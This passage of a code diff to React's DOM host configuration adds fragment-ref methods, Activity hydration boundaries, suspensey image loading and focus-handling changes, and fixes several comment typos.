+  const firstResult = firstNode.compareDocumentPosition(otherNode);
+  const lastResult = lastNode.compareDocumentPosition(otherNode);
+
+  const otherNodeIsFirstOrLastChild =
+    (firstNodeIsContained && firstNode === otherNode) ||
+    (lastNodeIsContained && lastNode === otherNode);
+  const otherNodeIsFirstOrLastChildDisconnected =
+    (!firstNodeIsContained && firstNode === otherNode) ||
+    (!lastNodeIsContained && lastNode === otherNode);
+  const otherNodeIsWithinFirstOrLastChild =
+    firstResult & Node.DOCUMENT_POSITION_CONTAINED_BY ||
+    lastResult & Node.DOCUMENT_POSITION_CONTAINED_BY;
+  const otherNodeIsBetweenFirstAndLastChildren =
+    firstNodeIsContained &&
+    lastNodeIsContained &&
+    firstResult & Node.DOCUMENT_POSITION_FOLLOWING &&
+    lastResult & Node.DOCUMENT_POSITION_PRECEDING;
+
+  let result = Node.DOCUMENT_POSITION_DISCONNECTED;
+  if (
+    otherNodeIsFirstOrLastChild ||
+    otherNodeIsWithinFirstOrLastChild ||
+    otherNodeIsBetweenFirstAndLastChildren
+  ) {
+    result = Node.DOCUMENT_POSITION_CONTAINED_BY;
+  } else if (otherNodeIsFirstOrLastChildDisconnected) {
+    // otherNode has been portaled into another container
+    result = Node.DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC;
+  } else {
+    result = firstResult;
+  }
+
+  if (
+    result & Node.DOCUMENT_POSITION_DISCONNECTED ||
+    result & Node.DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC
+  ) {
+    return result;
+  }
+
+  // Now that we have the result from the DOM API, we double check it matches
+  // the state of the React tree. If it doesn't, we have a case of portaled or
+  // otherwise injected elements and we return DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC.
+  const documentPositionMatchesFiberPosition =
+    validateDocumentPositionWithFiberTree(
+      result,
+      this._fragmentFiber,
+      children[0],
+      children[children.length - 1],
+      otherNode,
+    );
+  if (documentPositionMatchesFiberPosition) {
+    return result;
+  }
+  return Node.DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC;
+};
+
+function validateDocumentPositionWithFiberTree(
+  documentPosition: number,
+  fragmentFiber: Fiber,
+  precedingBoundaryFiber: Fiber,
+  followingBoundaryFiber: Fiber,
+  otherNode: Instance,
+): boolean {
+  const otherFiber = getClosestInstanceFromNode(otherNode);
+  if (documentPosition & Node.DOCUMENT_POSITION_CONTAINED_BY) {
+    return (
+      !!otherFiber && isFiberContainedByFragment(otherFiber, fragmentFiber)
+    );
+  }
+  if (documentPosition & Node.DOCUMENT_POSITION_CONTAINS) {
+    if (otherFiber === null) {
+      // otherFiber could be null if its the document or body element
+      const ownerDocument = otherNode.ownerDocument;
+      return otherNode === ownerDocument || otherNode === ownerDocument.body;
+    }
+    return isFragmentContainedByFiber(fragmentFiber, otherFiber);
+  }
+  if (documentPosition & Node.DOCUMENT_POSITION_PRECEDING) {
+    return (
+      !!otherFiber &&
+      (otherFiber === precedingBoundaryFiber ||
+        isFiberPreceding(precedingBoundaryFiber, otherFiber))
+    );
+  }
+  if (documentPosition & Node.DOCUMENT_POSITION_FOLLOWING) {
+    return (
+      !!otherFiber &&
+      (otherFiber === followingBoundaryFiber ||
+        isFiberFollowing(followingBoundaryFiber, otherFiber))
+    );
+  }
+
+  return false;
+}
+
+if (enableFragmentRefsScrollIntoView) {
+  // $FlowFixMe[prop-missing]
+  FragmentInstance.prototype.scrollIntoView = function (
+    this: FragmentInstanceType,
+    alignToTop?: boolean,
+  ): void {
+    if (typeof alignToTop === 'object') {
+      throw new Error(
+        'FragmentInstance.scrollIntoView() does not support ' +
+          'scrollIntoViewOptions. Use the alignToTop boolean instead.',
+      );
+    }
+    // First, get the children nodes
+    const children: Array<Fiber> = [];
+    traverseFragmentInstance(this._fragmentFiber, collectChildren, children);
+
+    const resolvedAlignToTop = alignToTop !== false;
+
+    // If there are no children, we can use the parent and siblings to determine a position
+    if (children.length === 0) {
+      const hostSiblings = getFragmentInstanceSiblings(this._fragmentFiber);
+      const targetFiber = resolvedAlignToTop
+        ? hostSiblings[1] ||
+          hostSiblings[0] ||
+          getFragmentParentHostFiber(this._fragmentFiber)
+        : hostSiblings[0] || hostSiblings[1];
+
+      if (targetFiber === null) {
+        if (__DEV__) {
+          console.warn(
+            'You are attempting to scroll a FragmentInstance that has no ' +
+              'children, siblings, or parent. No scroll was performed.',
+          );
+        }
+        return;
+      }
+      const target = getInstanceFromHostFiber<Instance>(targetFiber);
+      target.scrollIntoView(alignToTop);
+      return;
+    }
+
+    let i = resolvedAlignToTop ? children.length - 1 : 0;
+    while (i !== (resolvedAlignToTop ? -1 : children.length)) {
+      const child = children[i];
+      // For text nodes, use Range API to scroll to their position
+      if (enableFragmentRefsTextNodes && child.tag === HostText) {
+        const textNode: Text = child.stateNode;
+        const range = textNode.ownerDocument.createRange();
+        range.selectNodeContents(textNode);
+        const rect = range.getBoundingClientRect();
+        const scrollY = resolvedAlignToTop
+          ? window.scrollY + rect.top
+          : window.scrollY + rect.bottom - window.innerHeight;
+        window.scrollTo(window.scrollX + rect.left, scrollY);
+        i += resolvedAlignToTop ? -1 : 1;
+        continue;
+      }
+      const instance = getInstanceFromHostFiber<Instance>(child);
+      instance.scrollIntoView(alignToTop);
+      i += resolvedAlignToTop ? -1 : 1;
+    }
+  };
+}
+
+function addFragmentHandleToFiber(
+  child: Fiber,
+  fragmentInstance: FragmentInstanceType,
+): boolean {
+  if (enableFragmentRefsInstanceHandles) {
+    const instance =
+      getInstanceFromHostFiber<InstanceWithFragmentHandles>(child);
+    if (instance != null) {
+      addFragmentHandleToInstance(instance, fragmentInstance);
+    }
+  }
+  return false;
+}
+
+function addFragmentHandleToInstance(
+  instance: InstanceWithFragmentHandles,
+  fragmentInstance: FragmentInstanceType,
+): void {
+  if (enableFragmentRefsInstanceHandles) {
+    if (instance.reactFragments == null) {
+      instance.reactFragments = new Set();
+    }
+    instance.reactFragments.add(fragmentInstance);
+  }
+}
+
+export function createFragmentInstance(
+  fragmentFiber: Fiber,
+): FragmentInstanceType {
+  const fragmentInstance = new (FragmentInstance: any)(fragmentFiber);
+  if (enableFragmentRefsInstanceHandles) {
+    traverseFragmentInstance(
+      fragmentFiber,
+      addFragmentHandleToFiber,
+      fragmentInstance,
+    );
+  }
+  return fragmentInstance;
+}
+
+export function updateFragmentInstanceFiber(
+  fragmentFiber: Fiber,
+  instance: FragmentInstanceType,
+): void {
+  instance._fragmentFiber = fragmentFiber;
 }
 
-export function unhideInstance(instance: Instance, props: Props): void {
-  instance = ((instance: any): HTMLElement);
-  const styleProp = props[STYLE];
-  const display =
-    styleProp !== undefined &&
-    styleProp !== null &&
-    styleProp.hasOwnProperty('display')
-      ? styleProp.display
-      : null;
-  instance.style.display =
-    display == null || typeof display === 'boolean'
-      ? ''
-      : // The value would've errored already if it wasn't safe.
-        // eslint-disable-next-line react-internal/safe-string-coercion
-        ('' + display).trim();
+export function commitNewChildToFragmentInstance(
+  childInstance: InstanceWithFragmentHandles | Text,
+  fragmentInstance: FragmentInstanceType,
+): void {
+  if (childInstance.nodeType === TEXT_NODE) {
+    return;
+  }
+  const instance: InstanceWithFragmentHandles = (childInstance: any);
+  const eventListeners = fragmentInstance._eventListeners;
+  if (eventListeners !== null) {
+    for (let i = 0; i < eventListeners.length; i++) {
+      const {type, listener, optionsOrUseCapture} = eventListeners[i];
+      instance.addEventListener(type, listener, optionsOrUseCapture);
+    }
+  }
+  if (fragmentInstance._observers !== null) {
+    fragmentInstance._observers.forEach(observer => {
+      observer.observe(instance);
+    });
+  }
+  if (enableFragmentRefsInstanceHandles) {
+    addFragmentHandleToInstance(instance, fragmentInstance);
+  }
 }
 
-export function unhideTextInstance(
-  textInstance: TextInstance,
-  text: string,
+export function deleteChildFromFragmentInstance(
+  childInstance: InstanceWithFragmentHandles | Text,
+  fragmentInstance: FragmentInstanceType,
 ): void {
-  textInstance.nodeValue = text;
+  if (childInstance.nodeType === TEXT_NODE) {
+    return;
+  }
+  const instance: InstanceWithFragmentHandles = (childInstance: any);
+  const eventListeners = fragmentInstance._eventListeners;
+  if (eventListeners !== null) {
+    for (let i = 0; i < eventListeners.length; i++) {
+      const {type, listener, optionsOrUseCapture} = eventListeners[i];
+      instance.removeEventListener(type, listener, optionsOrUseCapture);
+    }
+  }
+  if (enableFragmentRefsInstanceHandles) {
+    if (instance.reactFragments != null) {
+      instance.reactFragments.delete(fragmentInstance);
+    }
+  }
 }
 
 export function clearContainer(container: Container): void {
@@ -985,7 +3709,7 @@ function clearContainerSparingly(container: Node) {
       case 'STYLE': {
         continue;
       }
-      // Stylesheet tags are retained because tehy may likely come from 3rd party scripts and extensions
+      // Stylesheet tags are retained because they may likely come from 3rd party scripts and extensions
       case 'LINK': {
         if (((node: any): HTMLLinkElement).rel.toLowerCase() === 'stylesheet') {
           continue;
@@ -997,6 +3721,27 @@ function clearContainerSparingly(container: Node) {
   return;
 }
 
+function clearHead(head: Element): void {
+  let node = head.firstChild;
+  while (node) {
+    const nextNode = node.nextSibling;
+    const nodeName = node.nodeName;
+    if (
+      isMarkedHoistable(node) ||
+      nodeName === 'SCRIPT' ||
+      nodeName === 'STYLE' ||
+      (nodeName === 'LINK' &&
+        ((node: any): HTMLLinkElement).rel.toLowerCase() === 'stylesheet')
+    ) {
+      // retain these nodes
+    } else {
+      head.removeChild(node);
+    }
+    node = nextNode;
+  }
+  return;
+}
+
 // Making this so we can eventually move all of the instance caching to the commit phase.
 // Currently this is only used to associate fiber and props to instances for hydrating
 // HostSingletons. The reason we need it here is we only want to make this binding on commit
@@ -1090,7 +3835,9 @@ export function canHydrateInstance(
           } else if (
             rel !== anyProps.rel ||
             element.getAttribute('href') !==
-              (anyProps.href == null ? null : anyProps.href) ||
+              (anyProps.href == null || anyProps.href === ''
+                ? null
+                : anyProps.href) ||
             element.getAttribute('crossorigin') !==
               (anyProps.crossOrigin == null ? null : anyProps.crossOrigin) ||
             element.getAttribute('title') !==
@@ -1189,12 +3936,19 @@ export function canHydrateTextInstance(
   return ((instance: any): TextInstance);
 }
 
-export function canHydrateSuspenseInstance(
+function canHydrateHydrationBoundary(
   instance: HydratableInstance,
   inRootOrSingleton: boolean,
-): null | SuspenseInstance {
+): null | SuspenseInstance | ActivityInstance {
   while (instance.nodeType !== COMMENT_NODE) {
-    if (!inRootOrSingleton) {
+    if (
+      instance.nodeType === ELEMENT_NODE &&
+      instance.nodeName === 'INPUT' &&
+      (instance: any).type === 'hidden'
+    ) {
+      // If we have extra hidden inputs, we don't mismatch. This allows us to
+      // embed extra form data in the original form.
+    } else if (!inRootOrSingleton) {
       return null;
     }
     const nextInstance = getNextHydratableSibling(instance);
@@ -1203,18 +3957,59 @@ export function canHydrateSuspenseInstance(
     }
     instance = nextInstance;
   }
-  // This has now been refined to a suspense node.
-  return ((instance: any): SuspenseInstance);
+  // This has now been refined to a hydration boundary node.
+  return (instance: any);
+}
+
+export function canHydrateActivityInstance(
+  instance: HydratableInstance,
+  inRootOrSingleton: boolean,
+): null | ActivityInstance {
+  const hydratableInstance = canHydrateHydrationBoundary(
+    instance,
+    inRootOrSingleton,
+  );
+  if (
+    hydratableInstance !== null &&
+    hydratableInstance.data === ACTIVITY_START_DATA
+  ) {
+    return (hydratableInstance: any);
+  }
+  return null;
+}
+
+export function canHydrateSuspenseInstance(
+  instance: HydratableInstance,
+  inRootOrSingleton: boolean,
+): null | SuspenseInstance {
+  const hydratableInstance = canHydrateHydrationBoundary(
+    instance,
+    inRootOrSingleton,
+  );
+  if (
+    hydratableInstance !== null &&
+    hydratableInstance.data !== ACTIVITY_START_DATA
+  ) {
+    return (hydratableInstance: any);
+  }
+  return null;
 }
 
 export function isSuspenseInstancePending(instance: SuspenseInstance): boolean {
-  return instance.data === SUSPENSE_PENDING_START_DATA;
+  return (
+    instance.data === SUSPENSE_PENDING_START_DATA ||
+    instance.data === SUSPENSE_QUEUED_START_DATA
+  );
 }
 
 export function isSuspenseInstanceFallback(
   instance: SuspenseInstance,
 ): boolean {
-  return instance.data === SUSPENSE_FALLBACK_START_DATA;
+  return (
+    instance.data === SUSPENSE_FALLBACK_START_DATA ||
+    (instance.data === SUSPENSE_PENDING_START_DATA &&
+      instance.ownerDocument.readyState !== DOCUMENT_READY_STATE_LOADING)
+  );
 }
 
 export function getSuspenseInstanceFallbackErrorDetails(
@@ -1255,7 +4050,33 @@ export function registerSuspenseInstanceRetry(
   instance: SuspenseInstance,
   callback: () => void,
 ) {
-  instance._reactRetry = callback;
+  const ownerDocument = instance.ownerDocument;
+  if (instance.data === SUSPENSE_QUEUED_START_DATA) {
+    // The Fizz runtime has already queued this boundary for reveal. We wait for it
+    // to be revealed and then retries.
+    instance._reactRetry = callback;
+  } else if (
+    // The Fizz runtime must have put this boundary into client render or complete
+    // state after the render finished but before it committed. We need to call the
+    // callback now rather than wait
+    instance.data !== SUSPENSE_PENDING_START_DATA ||
+    // The boundary is still in pending status but the document has finished loading
+    // before we could register the event handler that would have scheduled the retry
+    // on load so we call the callback now.
+    ownerDocument.readyState !== DOCUMENT_READY_STATE_LOADING
+  ) {
+    callback();
+  } else {
+    // We're still in pending status and the document is still loading so we attach
+    // a listener to the document load even and expose the retry on the instance for
+    // the Fizz runtime to trigger if it ends up resolving this boundary
+    const listener = () => {
+      callback();
+      ownerDocument.removeEventListener('DOMContentLoaded', listener);
+    };
+    ownerDocument.addEventListener('DOMContentLoaded', listener);
+    instance._reactRetry = listener;
+  }
 }
 
 export function canHydrateFormStateMarker(
@@ -1297,18 +4118,19 @@ function getNextHydratable(node: ?Node) {
       break;
     }
     if (nodeType === COMMENT_NODE) {
-      const nodeData = (node: any).data;
+      const data = (node: any).data;
       if (
-        nodeData === SUSPENSE_START_DATA ||
-        nodeData === SUSPENSE_FALLBACK_START_DATA ||
-        nodeData === SUSPENSE_PENDING_START_DATA ||
-        (enableAsyncActions &&
-          (nodeData === FORM_STATE_IS_MATCHING ||
-            nodeData === FORM_STATE_IS_NOT_MATCHING))
+        data === SUSPENSE_START_DATA ||
+        data === SUSPENSE_FALLBACK_START_DATA ||
+        data === SUSPENSE_PENDING_START_DATA ||
+        data === SUSPENSE_QUEUED_START_DATA ||
+        data === ACTIVITY_START_DATA ||
+        data === FORM_STATE_IS_MATCHING ||
+        data === FORM_STATE_IS_NOT_MATCHING
       ) {
         break;
       }
-      if (nodeData === SUSPENSE_END_DATA) {
+      if (data === SUSPENSE_END_DATA || data === ACTIVITY_END_DATA) {
         return null;
       }
     }
@@ -1331,7 +4153,26 @@ export function getFirstHydratableChild(
 export function getFirstHydratableChildWithinContainer(
   parentContainer: Container,
 ): null | HydratableInstance {
-  return getNextHydratable(parentContainer.firstChild);
+  let parentElement: Element;
+  switch (parentContainer.nodeType) {
+    case DOCUMENT_NODE:
+      parentElement = (parentContainer: any).body;
+      break;
+    default: {
+      if (parentContainer.nodeName === 'HTML') {
+        parentElement = (parentContainer: any).ownerDocument.body;
+      } else {
+        parentElement = (parentContainer: any);
+      }
+    }
+  }
+  return getNextHydratable(parentElement.firstChild);
+}
+
+export function getFirstHydratableChildWithinActivityInstance(
+  parentInstance: ActivityInstance,
+): null | HydratableInstance {
+  return getNextHydratable(parentInstance.nextSibling);
 }
 
 export function getFirstHydratableChildWithinSuspenseInstance(
@@ -1340,10 +4181,44 @@ export function getFirstHydratableChildWithinSuspenseInstance(
   return getNextHydratable(parentInstance.nextSibling);
 }
 
+// If it were possible to have more than one scope singleton in a DOM tree
+// we would need to model this as a stack but since you can only have one <head>
+// and head is the only singleton that is a scope in DOM we can get away with
+// tracking this as a single value.
+let previousHydratableOnEnteringScopedSingleton: null | HydratableInstance =
+  null;
+
+export function getFirstHydratableChildWithinSingleton(
+  type: string,
+  singletonInstance: Instance,
+  currentHydratableInstance: null | HydratableInstance,
+): null | HydratableInstance {
+  if (isSingletonScope(type)) {
+    previousHydratableOnEnteringScopedSingleton = currentHydratableInstance;
+    return getNextHydratable(singletonInstance.firstChild);
+  } else {
+    return currentHydratableInstance;
+  }
+}
+
+export function getNextHydratableSiblingAfterSingleton(
+  type: string,
+  currentHydratableInstance: null | HydratableInstance,
+): null | HydratableInstance {
+  if (isSingletonScope(type)) {
+    const previousHydratableInstance =
+      previousHydratableOnEnteringScopedSingleton;
+    previousHydratableOnEnteringScopedSingleton = null;
+    return previousHydratableInstance;
+  } else {
+    return currentHydratableInstance;
+  }
+}
+
 export function describeHydratableInstanceForDevWarnings(
   instance: HydratableInstance,
 ): string | {type: string, props: $ReadOnly<Props>} {
-  // Reverse engineer a pseudo react-element from hydratable instnace
+  // Reverse engineer a pseudo react-element from hydratable instance
   if (instance.nodeType === ELEMENT_NODE) {
     // Reverse engineer a set of props that can print for dev warnings
     return {
@@ -1351,6 +4226,12 @@ export function describeHydratableInstanceForDevWarnings(
       props: getPropsFromElement((instance: any)),
     };
   } else if (instance.nodeType === COMMENT_NODE) {
+    if (instance.data === ACTIVITY_START_DATA) {
+      return {
+        type: 'Activity',
+        props: {},
+      };
+    }
     return {
       type: 'Suspense',
       props: {},
@@ -1406,7 +4287,11 @@ export function validateHydratableTextInstance(
     const hostContextDev = ((hostContext: any): HostContextDev);
     const ancestor = hostContextDev.ancestorInfo.current;
     if (ancestor != null) {
-      return validateTextNesting(text, ancestor.tag);
+      return validateTextNesting(
+        text,
+        ancestor.tag,
+        hostContextDev.ancestorInfo.implicitRootScope,
+      );
     }
   }
   return true;
@@ -1438,6 +4323,13 @@ export function diffHydratedTextForDevWarnings(
   return null;
 }
 
+export function hydrateActivityInstance(
+  activityInstance: ActivityInstance,
+  internalInstanceHandle: Object,
+) {
+  precacheFiberNode(internalInstanceHandle, activityInstance);
+}
+
 export function hydrateSuspenseInstance(
   suspenseInstance: SuspenseInstance,
   internalInstanceHandle: Object,
@@ -1445,10 +4337,10 @@ export function hydrateSuspenseInstance(
   precacheFiberNode(internalInstanceHandle, suspenseInstance);
 }
 
-export function getNextHydratableInstanceAfterSuspenseInstance(
-  suspenseInstance: SuspenseInstance,
+function getNextHydratableInstanceAfterHydrationBoundary(
+  hydrationInstance: SuspenseInstance | ActivityInstance,
 ): null | HydratableInstance {
-  let node = suspenseInstance.nextSibling;
+  let node = hydrationInstance.nextSibling;
   // Skip past all nodes within this suspense boundary.
   // There might be nested nodes so we need to keep track of how
   // deep we are and only break out when we're back on top.
@@ -1456,7 +4348,7 @@ export function getNextHydratableInstanceAfterSuspenseInstance(
   while (node) {
     if (node.nodeType === COMMENT_NODE) {
       const data = ((node: any).data: string);
-      if (data === SUSPENSE_END_DATA) {
+      if (data === SUSPENSE_END_DATA || data === ACTIVITY_END_DATA) {
         if (depth === 0) {
           return getNextHydratableSibling((node: any));
         } else {
@@ -1465,7 +4357,9 @@ export function getNextHydratableInstanceAfterSuspenseInstance(
       } else if (
         data === SUSPENSE_START_DATA ||
         data === SUSPENSE_FALLBACK_START_DATA ||
-        data === SUSPENSE_PENDING_START_DATA
+        data === SUSPENSE_PENDING_START_DATA ||
+        data === SUSPENSE_QUEUED_START_DATA ||
+        data === ACTIVITY_START_DATA
       ) {
         depth++;
       }
@@ -1476,12 +4370,24 @@ export function getNextHydratableInstanceAfterSuspenseInstance(
   return null;
 }
 
+export function getNextHydratableInstanceAfterActivityInstance(
+  activityInstance: ActivityInstance,
+): null | HydratableInstance {
+  return getNextHydratableInstanceAfterHydrationBoundary(activityInstance);
+}
+
+export function getNextHydratableInstanceAfterSuspenseInstance(
+  suspenseInstance: SuspenseInstance,
+): null | HydratableInstance {
+  return getNextHydratableInstanceAfterHydrationBoundary(suspenseInstance);
+}
+
 // Returns the SuspenseInstance if this node is a direct child of a
 // SuspenseInstance. I.e. if its previous sibling is a Comment with
 // SUSPENSE_x_START_DATA. Otherwise, null.
-export function getParentSuspenseInstance(
+export function getParentHydrationBoundary(
   targetInstance: Node,
-): null | SuspenseInstance {
+): null | SuspenseInstance | ActivityInstance {
   let node = targetInstance.previousSibling;
   // Skip past all nodes within this suspense boundary.
   // There might be nested nodes so we need to keep track of how
@@ -1493,14 +4399,16 @@ export function getParentSuspenseInstance(
       if (
         data === SUSPENSE_START_DATA ||
         data === SUSPENSE_FALLBACK_START_DATA ||
-        data === SUSPENSE_PENDING_START_DATA
+        data === SUSPENSE_PENDING_START_DATA ||
+        data === SUSPENSE_QUEUED_START_DATA ||
+        data === ACTIVITY_START_DATA
       ) {
         if (depth === 0) {
-          return ((node: any): SuspenseInstance);
+          return ((node: any): SuspenseInstance | ActivityInstance);
         } else {
           depth--;
         }
-      } else if (data === SUSPENSE_END_DATA) {
+      } else if (data === SUSPENSE_END_DATA || data === ACTIVITY_END_DATA) {
         depth++;
       }
     }
@@ -1514,6 +4422,13 @@ export function commitHydratedContainer(container: Container): void {
   retryIfBlockedOn(container);
 }
 
+export function commitHydratedActivityInstance(
+  activityInstance: ActivityInstance,
+): void {
+  // Retry if any event replaying was blocked on this.
+  retryIfBlockedOn(activityInstance);
+}
+
 export function commitHydratedSuspenseInstance(
   suspenseInstance: SuspenseInstance,
 ): void {
@@ -1521,6 +4436,12 @@ export function commitHydratedSuspenseInstance(
   retryIfBlockedOn(suspenseInstance);
 }
 
+export function flushHydrationEvents(): void {
+  if (enableHydrationChangeEvent) {
+    flushEventReplaying();
+  }
+}
+
 export function shouldDeleteUnhydratedTailInstances(
   parentType: string,
 ): boolean {
@@ -1589,25 +4510,40 @@ export function isHiddenSubtree(fiber: Fiber): boolean {
   return fiber.tag === HostComponent && fiber.memoizedProps.hidden === true;
 }
 
-export function setFocusIfFocusable(node: Instance): boolean {
+export function setFocusIfFocusable(
+  node: Instance,
+  focusOptions?: FocusOptions,
+): boolean {
   // The logic for determining if an element is focusable is kind of complex,
   // and since we want to actually change focus anyway- we can just skip it.
   // Instead we'll just listen for a "focus" event to verify that focus was set.
   //
   // We could compare the node to document.activeElement after focus,
   // but this would not handle the case where application code managed focus to automatically blur.
+  const element = ((node: any): HTMLElement);
+
+  // If this element is already the active element, it's focusable and already
+  // focused. Calling .focus() on it would be a no-op (no focus event fires),
+  // so we short-circuit here.
+  if (element.ownerDocument.activeElement === element) {
+    return true;
+  }
+
   let didFocus = false;
   const handleFocus = () => {
     didFocus = true;
   };
 
-  const element = ((node: any): HTMLElement);
   try {
-    element.addEventListener('focus', handleFocus);
+    // Listen on the document in the capture phase so we detect focus even when
+    // it lands on a different element than the one we called .focus() on. This
+    // happens with <label> elements (focus delegates to the associated input)
+    // and shadow hosts with delegatesFocus.
+    element.ownerDocument.addEventListener('focus', handleFocus, true);
     // $FlowFixMe[method-unbinding]
-    (element.focus || HTMLElement.prototype.focus).call(element);
+    (element.focus || HTMLElement.prototype.focus).call(element, focusOptions);
   } finally {
-    element.removeEventListener('focus', handleFocus);
+    element.ownerDocument.removeEventListener('focus', handleFocus, true);
   }
 
   return didFocus;
@@ -1754,8 +4690,15 @@ export function acquireSingletonInstance(
   internalInstanceHandle: Object,
 ): void {
   if (__DEV__) {
-    const currentInstanceHandle = getInstanceFromNodeDOMTree(instance);
-    if (currentInstanceHandle) {
+    if (
+      // If this instance is the container then it is invalid to acquire it as a singleton however
+      // the DOM nesting validation will already warn for this and the message below isn't semantically
+      // aligned with the actual fix you need to make so we omit the warning in this case
+      !isContainerMarkedAsRoot(instance) &&
+      // If this instance isn't the root but is currently owned by a different HostSingleton instance then
+      // we we need to warn that you are rendering more than one singleton at a time.
+      getInstanceFromNodeDOMTree(instance)
+    ) {
       const tagName = instance.tagName.toLowerCase();
       console.error(
         'You are mounting a new %s component when a previous one has not first unmounted. It is an' +
@@ -1799,30 +4742,6 @@ export function releaseSingletonInstance(instance: Instance): void {
   detachDeletedInstance(instance);
 }
 
-export function clearSingleton(instance: Instance): void {
-  const element: Element = (instance: any);
-  let node = element.firstChild;
-  while (node) {
-    const nextNode = node.nextSibling;
-    const nodeName = node.nodeName;
-    if (
-      isMarkedHoistable(node) ||
-      nodeName === 'HEAD' ||
-      nodeName === 'BODY' ||
-      nodeName === 'SCRIPT' ||
-      nodeName === 'STYLE' ||
-      (nodeName === 'LINK' &&
-        ((node: any): HTMLLinkElement).rel.toLowerCase() === 'stylesheet')
-    ) {
-      // retain these nodes
-    } else {
-      element.removeChild(node);
-    }
-    node = nextNode;
-  }
-  return;
-}
-
 // -------------------
 //     Resources
 // -------------------
@@ -1907,10 +4826,13 @@ export type HoistableRoot = Document | ShadowRoot;
 export function getHoistableRoot(container: Container): HoistableRoot {
   // $FlowFixMe[method-unbinding]
   return typeof container.getRootNode === 'function'
-    ? /* $FlowFixMe[incompatible-return] Flow types this as returning a `Node`,
+    ? /* $FlowFixMe[incompatible-cast] Flow types this as returning a `Node`,
        * but it's either a `Document` or `ShadowRoot`. */
-      container.getRootNode()
-    : container.ownerDocument;
+      (container.getRootNode(): Document | ShadowRoot)
+    : container.nodeType === DOCUMENT_NODE
+      ? // $FlowFixMe[incompatible-cast] We've constrained this to be a Document which satisfies the return type
+        (container: Document)
+      : container.ownerDocument;
 }
 
 function getCurrentResourceRoot(): null | HoistableRoot {
@@ -2822,6 +5744,7 @@ function insertStylesheet(
   let prior = last;
   for (let i = 0; i < nodes.length; i++) {
     const node = nodes[i];
+    // $FlowFixMe[prop-missing]
     const nodePrecedence = node.dataset.precedence;
     if (nodePrecedence === precedence) {
       prior = node;
@@ -2910,7 +5833,7 @@ export function hydrateHoistable(
           const node = nodes[i];
           if (
             node.getAttribute('href') !==
-              (props.href == null ? null : props.href) ||
+              (props.href == null || props.href === '' ? null : props.href) ||
             node.getAttribute('rel') !==
               (props.rel == null ? null : props.rel) ||
             node.getAttribute('title') !==
@@ -3112,10 +6035,9 @@ export function isHostHoistableType(
             console.error(
               'Cannot render a <style> outside the main document without knowing its precedence and a unique href key.' +
                 ' React can hoist and deduplicate <style> tags if you provide a `precedence` prop along with an `href` prop that' +
-                ' does not conflic with the `href` values used in any other hoisted <style> or <link rel="stylesheet" ...> tags. ' +
+                ' does not conflict with the `href` values used in any other hoisted <style> or <link rel="stylesheet" ...> tags. ' +
                 ' Note that hoisting <style> tags is considered an advanced feature that most will not use directly.' +
-                ' Consider moving the <style> tag to the <head> or consider adding a `precedence="default"` and `href="some unique resource identifier"`, or move the <style>' +
-                ' to the <style> tag.',
+                ' Consider moving the <style> tag to the <head> or consider adding a `precedence="default"` and `href="some unique resource identifier"`.',
             );
           }
         }
@@ -3234,6 +6156,36 @@ export function isHostHoistableType(
 }
 
 export function maySuspendCommit(type: Type, props: Props): boolean {
+  if (!enableSuspenseyImages && !enableViewTransition) {
+    return false;
+  }
+  // Suspensey images are the default, unless you opt-out of with either
+  // loading="lazy" or onLoad={...} which implies you're ok waiting.
+  return (
+    type === 'img' &&
+    props.src != null &&
+    props.src !== '' &&
+    props.onLoad == null &&
+    props.loading !== 'lazy'
+  );
+}
+
+export function maySuspendCommitOnUpdate(
+  type: Type,
+  oldProps: Props,
+  newProps: Props,
+): boolean {
+  return (
+    maySuspendCommit(type, newProps) &&
+    (newProps.src !== oldProps.src || newProps.srcSet !== oldProps.srcSet)
+  );
+}
+
+export function maySuspendCommitInSyncRender(
+  type: Type,
+  props: Props,
+): boolean {
+  // TODO: Allow sync lanes to suspend too with an opt-in.
   return false;
 }
 
@@ -3244,8 +6196,17 @@ export function mayResourceSuspendCommit(resource: Resource): boolean {
   );
 }
 
-export function preloadInstance(type: Type, props: Props): boolean {
-  return true;
+export function preloadInstance(
+  instance: Instance,
+  type: Type,
+  props: Props,
+): boolean {
+  // We don't need to preload Suspensey images because the browser will
+  // load them early once we set the src.
+  // If we return true here, we'll still get a suspendInstance call in the
+  // pre-commit phase to determine if we still need to decode the image or
+  // if was dropped from cache. This just avoids rendering Suspense fallback.
+  return !!(instance: any).complete;
 }
 
 export function preloadResource(resource: Resource): boolean {
@@ -3261,42 +6222,80 @@ export function preloadResource(resource: Resource): boolean {
   return true;
 }
 
-type SuspendedState = {
+export opaque type SuspendedState = {
   stylesheets: null | Map<StylesheetResource, HoistableRoot>,
-  count: number,
+  count: number, // suspensey css and active view transitions
+  imgCount: number, // suspensey images pending to load
+  imgBytes: number, // number of bytes we estimate needing to download
+  suspenseyImages: Array<HTMLImageElement>, // instances of suspensey images (whether loaded or not)
+  waitingForImages: boolean, // false when we're no longer blocking on images
+  waitingForViewTransition: boolean,
   unsuspend: null | (() => void),
 };
-let suspendedState: null | SuspendedState = null;
 
-// We use a noop function when we begin suspending because if possible we want the
-// waitfor step to finish synchronously. If it doesn't we'll return a function to
-// provide the actual unsuspend function and that will get completed when the count
-// hits zero or it will get cancelled if the root starts new work.
-function noop() {}
-
-export function startSuspendingCommit(): void {
-  suspendedState = {
+export function startSuspendingCommit(): SuspendedState {
+  return {
     stylesheets: null,
     count: 0,
+    imgCount: 0,
+    imgBytes: 0,
+    suspenseyImages: [],
+    waitingForImages: true,
+    waitingForViewTransition: false,
+    // We use a noop function when we begin suspending because if possible we want the
+    // waitfor step to finish synchronously. If it doesn't we'll return a function to
+    // provide the actual unsuspend function and that will get completed when the count
+    // hits zero or it will get cancelled if the root starts new work.
     unsuspend: noop,
   };
 }
 
-export function suspendInstance(type: Type, props: Props): void {
-  return;
+function estimateImageBytes(instance: HTMLImageElement): number {
+  const width: number = instance.width || 100;
+  const height: number = instance.height || 100;
+  const pixelRatio: number =
+    typeof devicePixelRatio === 'number' ? devicePixelRatio : 1;
+  const pixelsToDownload = width * height * pixelRatio;
+  const AVERAGE_BYTE_PER_PIXEL = 0.25;
+  return pixelsToDownload * AVERAGE_BYTE_PER_PIXEL;
+}
+
+export function suspendInstance(
+  state: SuspendedState,
+  instance: Instance,
+  type: Type,
+  props: Props,
+): void {
+  if (!enableSuspenseyImages && !enableViewTransition) {
+    return;
+  }
+  if (
